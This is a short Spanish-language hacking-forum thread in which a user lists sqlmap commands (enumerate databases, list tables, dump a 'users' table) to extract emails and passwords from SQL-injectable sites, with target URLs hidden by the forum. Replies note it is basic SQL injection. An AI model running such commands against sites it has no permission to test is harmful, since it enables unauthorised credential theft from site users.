Un pequeño aporte con sqlmap para sacar e-mail con el usser etc..

Iniciado por panik0, Septiembre 17, 2012, 06:37:04 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Imprimir
Ir Abajo Páginas1
Acciones del Usuario
Septiembre 17, 2012, 06:37:04 PM Ultima modificación: Agosto 16, 2014, 10:35:58 AM por Expermicid
backtrack - sqlmap

abren terminal  y ponen

1)  cd /pentest/database/sqlmap

2)  ./sqlmap.py -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --dbs

3)  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -D pjirc_forum --tables
 
4) (esta te manda directo con el user ,email , etc..)   ./sqlmap.py -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -D tito_tito -T users --dump

(occional si quieren hacerlo paso a paso...)                  *sqlmap.py -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -T users --columns

                                                                                     *sqlmap.py -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -T users -U test --dump

                                                                                 
=D jhejejejejjeje ps  si tienen duda pregunten nada se pierde con  preguntar jejej ..  jejeje  ;D
Septiembre 17, 2012, 07:09:55 PM #1
Que es lo que tratas de explicar exactamente?  :-\
Septiembre 17, 2012, 07:21:34 PM #2
para poder sacar los e-mails  , contraseñas etc... jeje :P
Septiembre 17, 2012, 10:09:12 PM #3
Sacarlos de donde?
Eso solo es sqli con sqlmap, no todas las bases de datos tienen el mismo nombre ni las mismas tablas, aqui en el foro hay muchos tutoriales de los que puedes aprender, echale ganas ;)
Septiembre 18, 2012, 08:12:01 AM #4
Cita de: [Corruptedyte link=topic=11226.msg39992#msg39992 date=1347930552]
Sacarlos de donde?
Eso solo es sqli con sqlmap, no todas las bases de datos tienen el mismo nombre ni las mismas tablas, aqui en el foro hay muchos tutoriales de los que puedes aprender, echale ganas ;)


cuanta razon tienes, cuanta.... saludos
Imprimir
Ir Arriba Páginas1
Acciones del Usuario